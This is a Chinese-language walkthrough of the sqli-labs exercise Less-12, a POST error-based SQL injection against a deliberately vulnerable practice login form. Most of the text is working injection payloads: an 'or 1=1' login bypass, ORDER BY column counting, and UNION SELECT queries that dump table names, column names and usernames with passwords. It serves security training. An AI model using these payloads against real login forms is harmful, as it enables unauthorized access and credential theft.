Less-12 POST -Error Based - Double quotes - String - with twist
Less-11 与 Less-12差别在于一个是单引号一个是双引号加括号，对于Less-12就直接用burp suite来做练习，步骤与Less-11基本一致。
0x01.原页面
用户名和密码两个参数分别为uname和passwd。Burp中提交参数uname=xxx&passwd=xxx
0x02.判断注入类型
uname=1&passwd=1&submit=Submit
uname=1’&passwd=1&submit=Submit
uname=1"&passwd=1&submit=Submit
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1") LIMIT 0,1' at line 1根据报错语句可以看出是双引号加一个括号的字符型注入
0x03.判断注入点
万能密码尝试:
uname=1") or 1=1#&passwd=1&submit=Submit
0x04.判断字段数
uname=admin") order by 3#&passwd=1&submit=Submit
uname=admin") order by 2#&passwd=1&submit=Submit
查询语句返回的字段数为2，但是并不是表中的字段数为2。
0x05.获取用户和数据库名
uname=1") union select user(),database()–+&passwd=1&submit=Submit
0x06.获取security数据库中的所有表名
uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘security’#&passwd=1&submit=Submit
0x07.获取users表中所有字段名
uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’#&passwd=1&submit=Submit
0x08.获取所有字段值
uname=1") union select 1,group_concat(username,0x3a,password) from users#&passwd=1&submit=Submit
